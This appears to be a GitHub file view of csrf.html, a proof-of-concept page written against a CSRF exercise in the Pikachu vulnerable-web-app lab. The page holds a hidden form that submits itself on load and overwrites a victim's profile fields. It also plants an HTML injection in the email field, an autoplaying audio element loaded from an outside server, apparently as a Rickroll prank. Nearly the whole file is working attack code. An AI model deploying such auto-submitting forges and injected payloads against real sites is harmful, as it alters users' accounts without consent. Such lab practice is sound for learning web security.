-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathcsrf.html
35 lines (33 loc) · 1.06 KB
/
csrf.html
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>Never gonna give you up</title>
</head>
<body>
<form
action="http://www.liuboyu.site/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"
method="post"
id="csrf_form"
>
<input type="hidden" name="sex" value="Rick Astley" />
<input type="hidden" name="phonenum" value="Never gonna give you up" />
<input type="hidden" name="add" value="Never gonna let you down" />
<input
type="hidden"
name="email"
value="<audio controls src='https://server.huanchengfly.top/api/giveup' autoplay></audio>"
/>
<input type="hidden" name="submit" value="submit" />
<input type="submit" value="Submit" style="display: none" />
</form>
</body>
<script>
document.addEventListener("DOMContentLoaded", function () {
setTimeout(function () {
document.getElementById("csrf_form").requestSubmit();
}, 100);
});
</script>
</html>